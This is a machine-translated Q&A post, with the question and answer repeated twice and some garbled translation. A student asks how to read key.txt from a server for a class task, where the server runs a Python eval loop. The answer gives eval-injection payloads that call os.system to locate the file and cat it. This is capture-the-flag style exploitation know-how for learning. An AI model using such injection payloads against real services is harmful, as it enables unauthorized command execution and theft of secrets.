通过 python eval 执行代码
Executing code through python eval
我的 class 任务是读取服务器上名为 key.txt 的文件,该文件与 python 脚本位于同一目录中,它在端口上 运行ning 2323.脚本中的代码运行ning如下:
while 1: print eval(raw_input("Enter Math:"))
我正在使用 PuTTY 连接,每次我 运行 任何代码时,如果我传递的代码无效,连接会立即断开。它没有给出任何解释,但我假设 eval 函数无法解析我的代码。
以下是我尝试过的一些方法及其结果:
- 输入
open('key.txt', 'r').read()
(或任何显式代码)终止了连接
- 使用 chr(#) 传递命令,例如。你好 =
chr(104)+chr(101)+chr(108)+chr(108)+chr(111)
。服务器只是吐回我输入的任何内容
- 通过输入
compile('print "Hello!"', 'buttfile', 'exec')
使用 compile
,输出 <code object <module> at 0x7f6270ac0db0, file "buttfile", line 1>
这是我能想到的唯一允许我传递代码的两种方法。我编写了一个小的 cpp 程序,将我键入的任何内容转换为字符组合,并包括换行符,以便我可以使用 chr() 方法输入多行代码。
所以我的问题是如何通过 python 的 eval 函数执行代码来读取文件?
如果您要连接到 linux 系统,您可以使用两个命令来完成:
__import__("os").system("locate key.txt")
这假设定位数据库是最新的。
然后当您知道位置时,只需使用:
__import__("os").system("cat /location/of/file/key.txt")
这会将密钥输出到屏幕。
我的 class 任务是读取服务器上名为 key.txt 的文件,该文件与 python 脚本位于同一目录中,它在端口上 运行ning 2323.脚本中的代码运行ning如下:
while 1: print eval(raw_input("Enter Math:"))
我正在使用 PuTTY 连接,每次我 运行 任何代码时,如果我传递的代码无效,连接会立即断开。它没有给出任何解释,但我假设 eval 函数无法解析我的代码。
以下是我尝试过的一些方法及其结果:
- 输入
open('key.txt', 'r').read()
(或任何显式代码)终止了连接 - 使用 chr(#) 传递命令,例如。你好 =
chr(104)+chr(101)+chr(108)+chr(108)+chr(111)
。服务器只是吐回我输入的任何内容 - 通过输入
compile('print "Hello!"', 'buttfile', 'exec')
使用compile
,输出<code object <module> at 0x7f6270ac0db0, file "buttfile", line 1>
这是我能想到的唯一允许我传递代码的两种方法。我编写了一个小的 cpp 程序,将我键入的任何内容转换为字符组合,并包括换行符,以便我可以使用 chr() 方法输入多行代码。
所以我的问题是如何通过 python 的 eval 函数执行代码来读取文件?
如果您要连接到 linux 系统,您可以使用两个命令来完成:
__import__("os").system("locate key.txt")
这假设定位数据库是最新的。
然后当您知道位置时,只需使用:
__import__("os").system("cat /location/of/file/key.txt")
这会将密钥输出到屏幕。